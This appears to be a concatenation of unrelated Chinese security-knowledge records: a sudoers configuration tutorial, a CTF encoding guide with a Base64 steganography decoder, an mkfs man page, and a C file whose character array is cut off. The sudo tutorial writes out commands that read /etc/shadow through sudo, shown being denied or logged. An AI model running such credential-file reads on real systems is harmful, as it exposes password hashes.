# env|grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)' --color
```
这个命令相当于 **以当前用户的$SHELL开启了一个root超级用户的no-login的shell，不会加载/etc/profile等系统配置** 。所以/etc/profile文件中定义的TEST_ETC环境变量就看不到了，但是会**加载root用户对应的配置文件**，比如root用户的$SHELL是/bin/zsh，那么会加载/root/.zshrc配置文件，执行完后，不会切换当前用户的目录。
配置sudo必须通过编辑`/etc/sudoers`文件，而且只有超级用户才可以修改它，还必须使用visudo编辑。之所以使用visudo有两个原因，一是它能够防止两个用户同时修改它；二是它也能进行有限的语法检查。所以，即使只有你一个超级用户，你也最好用visudo来检查一下语法。
visudo默认的是在vi里打开配置文件，用vi来修改文件。我们可以在编译时修改这个默认项。visudo不会擅自保存带有语法错误的配置文件，它会提示你出现的问题，并询问该如何处理，就像：
```shell
>>> sudoers file: syntax error, line 22 <<
```
此时我们有三种选择：键入“e”是重新编辑，键入“x”是不保存退出，键入“Q”是退出并保存。如果真选择Q，那么sudo将不会再运行，直到错误被纠正。
现在，我们一起来看一下神秘的配置文件，学一下如何编写它。让我们从一个简单的例子开始：让用户Foobar可以通过sudo执行所有root可执行的命令。以root身份用visudo打开配置文件，可以看到类似下面几行：
```shell
# Runas alias specification
# User privilege specificationroot ALL=(ALL)ALL
```
我们一看就明白个差不多了，root有所有权限，只要仿照现有root的例子就行，我们在下面加一行（最好用tab作为空白）：
```shell
foobar ALL=(ALL) ALL
```
保存退出后，切换到foobar用户，我们用它的身份执行命令：
```shell
[foobar@localhost ~]$ ls /root
ls: /root: 权限不够
[foobar@localhost ~]$ sudo ls /root
PassWord:
anaconda-ks.cfg Desktop install.log install.log.syslog
```
好了，我们限制一下foobar的权利，不让他为所欲为。比如我们只想让他像root那样使用ls和ifconfig，把那一行改为：
```shell
foobar localhost= /sbin/ifconfig, /bin/ls
```
再来执行命令：
```shell
[foobar@localhost ~]$ sudo head -5 /etc/shadow
Password:
Sorry, user foobar is not allowed to execute '/usr/bin/head -5 /etc/shadow' as root on localhost.localdomain.
[foobar@localhost ~]$ sudo /sbin/ifconfigeth0 Linkencap:Ethernet HWaddr 00:14:85:EC:E9:9B...
```
现在让我们来看一下那三个ALL到底是什么意思。第一个ALL是指网络中的主机，我们后面把它改成了主机名，它指明foobar可以在此主机上执行后面的命令。第二个括号里的ALL是指目标用户，也就是以谁的身份去执行命令。最后一个ALL当然就是指命令名了。例如，我们想让foobar用户在linux主机上以jimmy或rene的身份执行kill命令，这样编写配置文件：
```shell
foobar linux=(jimmy,rene) /bin/kill
```
但这还有个问题，foobar到底以jimmy还是rene的身份执行？这时我们应该想到了`sudo -u`了，它正是用在这种时候。 foobar可以使用`sudo -u jimmy kill PID`或者`sudo -u rene kill PID`，但这样挺麻烦，其实我们可以不必每次加`-u`，把rene或jimmy设为默认的目标用户即可。再在上面加一行：
```shell
Defaults:foobar runas_default=rene
```
Defaults后面如果有冒号，是对后面用户的默认，如果没有，则是对所有用户的默认。就像配置文件中自带的一行：
```shell
Defaults env_reset
```
另一个问题是，很多时候，我们本来就登录了，每次使用sudo还要输入密码就显得烦琐了。我们可不可以不再输入密码呢？当然可以，我们这样修改配置文件：
```shell
foobar localhost=NOPASSWD: /bin/cat, /bin/ls
```
再来sudo一下：
```shell
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg Desktop install.log
install.log.syslog
```
当然，你也可以说“某些命令用户foobar不可以运行”，通过使用!操作符，但这不是一个好主意。因为，用!操作符来从ALL中“剔出”一些命令一般是没什么效果的，一个用户完全可以把那个命令拷贝到别的地方，换一个名字后再来运行。
**日志与安全**
sudo为安全考虑得很周到，不仅可以记录日志，还能在有必要时向系统管理员报告。但是，sudo的日志功能不是自动的，必须由管理员开启。这样来做：
```shell
touch /var/log/sudo
vi /etc/syslog.conf
```
在syslog.conf最后面加一行（必须用tab分割开）并保存：
```shell
local2.debug /var/log/sudo
```
重启日志守候进程，
```shell
ps aux grep syslogd
```
把得到的syslogd进程的PID（输出的第二列是PID）填入下面：
```shell
kill –HUP PID
```
这样，sudo就可以写日志了：
```shell
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg
Desktop install.log
install.log.syslog
$cat /var/log/sudoJul 28 22:52:54 localhost sudo: foobar :
TTY=pts/1 ; pwd=/home/foobar ; USER=root ; command=/bin/ls /root
```
不过，有一个小小的“缺陷”，sudo记录日志并不是很忠实：
```shell
[foobar@localhost ~]$ sudo cat /etc/shadow > /dev/null
cat /var/log/sudo...Jul 28 23:10:24 localhost sudo: foobar : TTY=pts/1 ;
PWD=/home/foobar ; USER=root ; COMMAND=/bin/cat /etc/shadow
```
重定向没有被记录在案！为什么？因为在命令运行之前，shell把重定向的工作做完了，sudo根本就没看到重定向。这也有个好处，下面的手段不会得逞：
```shell
[foobar@localhost ~]$ sudo ls /root > /etc/shadowbash: /etc/shadow: 权限不够
```
sudo 有自己的方式来保护安全。以root的身份执行`sudo-V`，查看一下sudo的设置。因为考虑到安全问题，一部分环境变量并没有传递给sudo后面的命令，或者被检查后再传递的，比如：PATH，HOME，SHELL等。当然，你也可以通过sudoers来配置这些环境变量。
|
sec-knowleage
|
### 计算机字母表编码
- A-Z/a-z 对应 1-26 或者 0-25
### 计算机ASCII 编码
### ASCII 编码特点
我们一般使用的 ascii 编码的时候采用的都是可见字符，而且主要是如下字符
- 0-9, 48-57
- A-Z, 65-90
- a-z, 97-122
### 二进制编码（ASCII 编码变形结果）
将 ascii 码对应的数字换成二进制表示形式。
- 只有 0 和 1
- 不大于 8 位，一般 7 位也可以，因为可见字符到 127。
- 其实是另一种 ascii 编码。
### 十六进制编码（ASCII 编码变形结果）
将 ascii 码对应的数字换成十六进制表示形式。
- A-Z-->0x41~0x5A
- a-z-->0x61~0x7A
### ASCII 编码常用工具
- jpk, ascii to number, number to ascii
- http://www.ab126.com/goju/1711.html
### ASCII 编码题目：2018 DEFCON Quals ghettohackers: Throwback
题目描述如下
```
Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!
```
第一直觉应该是我们去补全这些叹号对应的内容，从而得到 flag，但是补全后并不行，那么我们可以把源字符串按照 `!` 分割，然后字符串长度 1 对应字母a，长度 2 对应字母 b，以此类推
```shell
ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'
sp = ori.split('!')
print repr(''.join(chr(97 + len(s) - 1) for s in sp))
```
进而可以得到，这里同时需要假设 0 个字符为空格。因为这正好使得原文可读。
```shell
dark logic
```
### ASCII 编码题目
- Jarvis-basic-德军的密码
### 计算机Base 编码
base xx 中的 xx 表示的是采用多少个字符进行编码，比如说 base64 就是采用以下 64 个字符编码，由于 2 的 6 次方等于 64，所以每 6 个比特为一个单元，对应某个可打印字符。3个字节就有 24 个比特，对应于 4 个 Base64 单元，即 3 个字节需要用 4 个可打印字符来表示。它可用来作为电子邮件的传输编码。在 Base64 中的可打印字符包括字母 A-Z、a-z、数字 0-9，这样共有 62 个字符，此外两个可打印符号在不同的系统中而不同。
具体介绍参见 [Base64 - 维基百科](https://zh.wikipedia.org/wiki/Base64)。
如果要编码的字节数不能被 3 整除，最后会多出 1 个或 2 个字节，那么可以使用下面的方法进行处理：先使用 0 值在末尾补足，使其能够被 3 整除，然后再进行 base64 的编码。在编码后的 base64 文本后加上一个或两个 `=` 号，代表补足的字节数。也就是说，当最后剩余一个八位字节（一个 byte）时，最后一个 6 位的 base64 字节块有四位是 0 值，最后附加上两个等号；如果最后剩余两个八位字节（2 个 byte）时，最后一个 6 位的 base 字节块有两位是 0 值，最后附加一个等号。
由于解码时补位的 0 并不参与运算，可以在该处隐藏信息。
与 base64 类似，base32 使用 32 个可见字符进行编码，2 的 5 次方为 32，所以每 5 bit 为 1 个分组。5 字节为 40 bit，对应于 8 个 base32 分组，即 5 个字节用 8 个 base32 中字符来表示。但如果不足 5 个字节，则会先对第一个不足 5 bit 的分组用 0 补足了 5 bit ，对后面剩余分组全部使用 “=” 填充，直到补满 5 个字节。由此可知，base32 最多只有 6 个等号出现。
### Base 编码特点
- base64 结尾可能会有 `=` 号，但最多有 2 个
- base32 结尾可能会有 `=` 号，但最多有 6 个
- 根据 base 的不同，字符集会有所限制
- **有可能需要自己加等号**
- **=也就是 3D**
- 更多内容请参见 [base rfc](https://tools.ietf.org/html/rfc4648)
### Base 编码常用工具
- http://www1.tc711.com/tool/BASE64.htm
- python 库函数
- [读取隐写信息脚本](https://github.com/cjcslhp/wheels/tree/master/b64stego)
### Base 编码例子
题目描述参见 `ctf-challenge`中 [misc 分类的 base64-stego 目录](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/encode/computer/base64-stego)中的 data.txt 文件。
使用脚本读取隐写信息。
``` python
import base64
def deStego(stegoFile):
b64table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
with open(stegoFile,'r') as stegoText:
message = ""
for line in stegoText:
try:
text = line[line.index("=") - 1:-1]
message += "".join([ bin( 0 if i == '=' else b64table.find(i))[2:].zfill(6) for i in text])[2 if text.count('=') ==2 else 4:6]
except:
pass
return "".join([chr(int(message[i:i+8],2)) for i in range(0,len(message),8)])
print(deStego("text.txt"))
```
输出:
```
flag{BASE64_i5_amaz1ng}
```
<!--
下面是原编辑者的代码，代码的小毛病在于查找隐写字符用`last = line[-3]`写死了，这种写法默认每行尾有一个'\n',而最后一行并非如此，因此左后一个字符显示错误。
一大串 Base64 密文，试试补 0 位的数据。
```python
# coding=utf-8
import base64
import re
result = []
with open('text.txt', 'r') as f:
for line in f.readlines():
if len(re.findall(r'=', line)) == 2:
last = line[-4]
if last.isupper():
num = ord(last) - ord('A')
elif last.islower():
num = ord(last) - ord('a') + 26
elif last.isdigit():
num = int(last) + 52
elif last == '+':
num = 62
elif last == '/':
num = 63
elem = '{0:06b}'.format(num)
result.append(elem[2:])
elif len(re.findall(r'=', line)) == 1:
last = line[-3]
if last.isupper():
num = ord(last) - ord('A')
elif last.islower():
num = ord(last) - ord('a') + 26
elif last.isdigit():
num = int(last) + 52
elif last == '+':
num = 62
elif last == '/':
num = 63
elem = '{0:06b}'.format(num)
result.append(elem[4:])
flag_b = ''.join(result)
split = re.findall(r'.{8}', flag_b)
for i in split:
print chr(int(i, 2)),
```
感觉像是程序有点毛病，不过还是能看出来 flag。
```
flag{BASE64_i5_amaz1ng~
```
-->
### 计算机霍夫曼编码
参见 [霍夫曼编码](https://zh.wikipedia.org/wiki/%E9%9C%8D%E5%A4%AB%E6%9B%BC%E7%BC%96%E7%A0%81)。
### 计算机编码XXencoding
XXencode 将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节，不够的部份用零补齐。这三个字节共有 24 个 Bit，以 6bit 为单位分为 4 个组，每个组以十进制来表示所出现的数值只会落在 0 到 63 之间。以所对应值的位置字符代替。
```text
1 2 3 4 5 6
0123456789012345678901234567890123456789012345678901234567890123
| | | | | | |
+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
```
具体信息参见[维基百科](https://en.wikipedia.org/wiki/Xxencoding)
### XXencoding特点
- 只有数字，大小写字母
- +号，-号。
### XXencoding常用工具
- http://web.chacuo.net/charsetxxencode
### 计算机编码URL 编码
参见[ URL 编码 - 维基百科](https://zh.wikipedia.org/wiki/%E7%99%BE%E5%88%86%E5%8F%B7%E7%BC%96%E7%A0%81)。
### URL 编码特点
- 大量的百分号
### Unicode 编码
参见[ Unicode - 维基百科](https://zh.wikipedia.org/wiki/Unicode)。
注意，它有四种表现形式。
### Unicode 编码例子
源文本： `The`
&#x [Hex]: `The`
&# [Decimal]: `The`
\U [Hex]: `\U0054\U0068\U0065`
\U+ [Hex]: `\U+0054\U+0068\U+0065`
|
sec-knowleage
|
.TH MKFS 8 "Jun 1995" "Version 1.9"
.SH NAME
mkfs \- 创建一个 Linux 文件系统
.SH 总览
.B mkfs
[
.B \-V
]
[
.B \-t
.I 文件系统类型
]
[
.B fs-选项
]
.I 文件系统
[
.I 块
]
.SH 描述
.B mkfs
mkfs 用来在指定设备创建一个 Linux 文件系统，
通常是在硬盘上。
.I 文件系统
既可以是设备名，（如：
.IR /dev/hda1 ，
.IR /dev/sdb2 ）
也可以是文件系统的挂载点，（如：
.IR / ，
.IR /usr ，
.IR /home ）。
.I 块
是指该文件系统用的块数。
.PP
如果
.B mkfs
成功执行时返回值为 0，反之，则是 1。
.PP
事实上，
.B mkfs
是在 Linux 下各文件系统专用程序
（\fBmkfs\fR.\fIfstype\fR）
的前端程序。各文件系统专用程序可以在
.IR /sbin ，
.IR /sbin/fs ，
.IR /sbin/fs.d ，
.IR /etc/fs ，
.I /etc
等目录中找到，
（精确定义一般都在编译内核时定义，但通常包含有
.I /sbin
和
.IR /sbin/fs ），
并最终在环境变量 PATH 列出的目录中．
如要获取更多关于相应文件系统的创建工具的信息，可参考相应帮助手册。
.SH 选项
.TP
.B -V
输出冗长的帮助信息，其中包括执行的各种系统相关的命令．
一行命令中出现多个此参数可禁止所有系统相关命令的执行。
这个做法实际上之是在测试时有用。
.TP
.BI -t \ 文件系统类型
指定所要创建的文件系统类型。如没有任何指定，
则使用缺省的文件系统类型（目前是 ext2）。
.TP
.B fs-选项
要传递给实际的文件系统制作工具的文件系统相关的选项。
虽然我们不能保证，但是绝大部分文件系统制作工具支持下面的选项。
.TP
.B -c
在创建文件系统之前进行设备坏块检查。
.TP
.BI -l \ filename
从指定文件
.I filename
中读取坏块信息。
.TP
.B -v
产生冗长输出信息。
.SH 臭虫
所有通用选项须首先定义并且不能与文件系统相关的
选项合并。
一些指定文件系统创建工具不支持
.I -v
选项，也不会返回有意义的返回值。
某些指定文件系统创建工具不会自动侦测磁盘设备的大小，因此需要声明
.I blocks
。
.SH 开发人员
David Engel (david@ods.com)
.br
Fred N. van Kempen (waltje@uwalt.nl.mugnet.org)
.br
Ron Sommeling (sommel@sci.kun.nl)
.br
这个手册页是无耻地从 Remy Card 为 ext2 文件系统
写的版本搞过来的。
.SH 又见
.BR fs (5),
.BR badblocks (8),
.BR fsck (8),
.BR mkdosfs (8),
.BR mke2fs (8),
.BR mkfs.ext2 (8),
.BR mkfs.minix (8),
.BR mkfs.msdos (8),
.BR mkfs.xiafs (8)
.SH "[中文版维护人]"
.B 所罗门 <solomen@email.com.cn>
.SH "[中文版最新更新]"
.B 2001/05/01
.SH 《中国Linux论坛man手册页翻译计划》:
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
#include <stdio.h>
unsigned int seed;
unsigned char chars[] = "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